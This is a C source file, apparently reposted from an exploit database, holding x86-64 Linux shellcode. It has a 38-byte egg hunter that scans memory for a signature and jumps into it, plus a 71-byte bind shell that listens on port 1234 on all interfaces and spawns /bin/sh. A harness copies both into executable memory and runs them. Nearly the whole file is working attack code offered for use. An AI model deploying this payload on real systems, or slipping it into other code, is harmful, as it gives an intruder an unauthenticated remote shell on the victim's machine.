/** Copyright A(c) 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; 38 byte Egg Hunter using sys_access() for x86-64 Linux ; bits 64 xor edi, edi ; rdi = 0 mul edi ; rax = 0, rdx = 0 xchg eax, esi ; rsi = F_OK mov dh, 10h ; rdx = 4096 nxt_page: add rdi, rdx ; advance 4096 bytes nxt_addr: push rdi ; save page address add rdi, 8 ; try read 8 bytes ahead push 21 pop rax ; rax = sys_access syscall pop rdi ; restore rdi cmp al, 0xF2 ; -EFAULT means bad address je nxt_page ; keep going until good read ; put your own signature here mov eax, 0xDEADC0DE scasd jne nxt_addr scasd jne nxt_addr jmp rdi ; jump into shellcode */ #include #include #include #include #include #include #include #include #define EGG64_SIZE 38 char EGG64[] = { /* 0000 */ "\x31\xff" /* xor edi, edi */ /* 0002 */ "\xf7\xe7" /* mul edi */ /* 0004 */ "\x96" /* xchg esi, eax */ /* 0005 */ "\xb6\x10" /* mov dh, 0x10 */ /* 0007 */ "\x48\x01\xd7" /* add rdi, rdx */ /* 000A */ "\x57" /* push rdi */ /* 000B */ "\x48\x83\xc7\x08" /* add rdi, 0x8 */ /* 000F */ "\x6a\x15" /* push 0x15 */ /* 0011 */ "\x58" /* pop rax */ /* 0012 */ "\x0f\x05" /* syscall */ /* 0014 */ "\x5f" /* pop rdi */ /* 0015 */ "\x3c\xf2" /* cmp al, 0xf2 */ /* 0017 */ "\x74\xee" /* jz 0x7 */ /* 0019 */ "\xb8\xde\xc0\xad\xde" /* mov eax, 0xdeadc0de */ /* 001E */ "\xaf" /* scasd */ /* 001F */ "\x75\xe9" /* jnz 0xa */ /* 0021 */ "\xaf" /* scasd */ /* 0022 */ "\x75\xe6" /* jnz 0xa */ /* 0024 */ "\xff\xe7" /* jmp rdi */ }; // sig is 0xDEADC0DE #define EGG_SIG "\xDE\xC0\xAD\xDE" // 71 byte bind shell for x86-64 Linux. // listens on 0.0.0.0:1234 // // port offset is 0x010 // char BS[] = { EGG_SIG EGG_SIG /* 0000 */ "\x6a\x29" /* push 0x29 */ /* 0002 */ "\x58" /* pop rax */ /* 0003 */ "\x6a\x01" /* push 0x1 */ /* 0005 */ "\x5e" /* pop rsi */ /* 0006 */ "\x6a\x02" /* push 0x2 */ /* 0008 */ "\x5f" /* pop rdi */ /* 0009 */ "\x99" /* cdq */ /* 000A */ "\x0f\x05" /* syscall */ /* 000C */ "\x97" /* xchg edi, eax */ /* 000D */ "\xbb\x02\xff\x04\xd2" /* mov ebx, 0xd204ff02 */ /* 0012 */ "\xfe\xc7" /* inc bh */ /* 0014 */ "\x53" /* push rbx */ /* 0015 */ "\x54" /* push rsp */ /* 0016 */ "\x5e" /* pop rsi */ /* 0017 */ "\xb2\x10" /* mov dl, 0x10 */ /* 0019 */ "\xb0\x31" /* mov al, 0x31 */ /* 001B */ "\x0f\x05" /* syscall */ /* 001D */ "\x31\xf6" /* xor esi, esi */ /* 001F */ "\xb0\x32" /* mov al, 0x32 */ /* 0021 */ "\x0f\x05" /* syscall */ /* 0023 */ "\xb0\x2b" /* mov al, 0x2b */ /* 0025 */ "\x0f\x05" /* syscall */ /* 0027 */ "\x97" /* xchg edi, eax */ /* 0028 */ "\x96" /* xchg esi, eax */ /* 0029 */ "\xb0\x21" /* mov al, 0x21 */ /* 002B */ "\x0f\x05" /* syscall */ /* 002D */ "\x83\xee\x01" /* sub esi, 0x1 */ /* 0030 */ "\x79\xf7" /* jns 0x29 */ /* 0032 */ "\x31\xf6" /* xor esi, esi */ /* 0034 */ "\x50" /* push rax */ /* 0035 */ "\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* mov rcx, 0x68732f2f6e69622f */ /* 003F */ "\x51" /* push rcx */ /* 0040 */ "\x54" /* push rsp */ /* 0041 */ "\x5f" /* pop rdi */ /* 0042 */ "\x99" /* cdq */ /* 0043 */ "\xb0\x3b" /* mov al, 0x3b */ /* 0045 */ "\x0f\x05" /* syscall */ }; void xcode(char *s, int len) { uint8_t *p; p=(uint8_t*)mmap (0, len, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); memcpy(p, s, len); // execute ((void(*)())p)(); munmap ((void*)p, len); } int main(int argc, char *argv[]) { uint8_t *sc=(uint8_t*)mmap (0, sizeof(BS), PROT_EXEC | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (sc != NULL) { memcpy (sc, BS, sizeof(BS)); xcode (EGG64, EGG64_SIZE); munmap((void*)sc, sizeof(BS)); } return 0; } # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-24]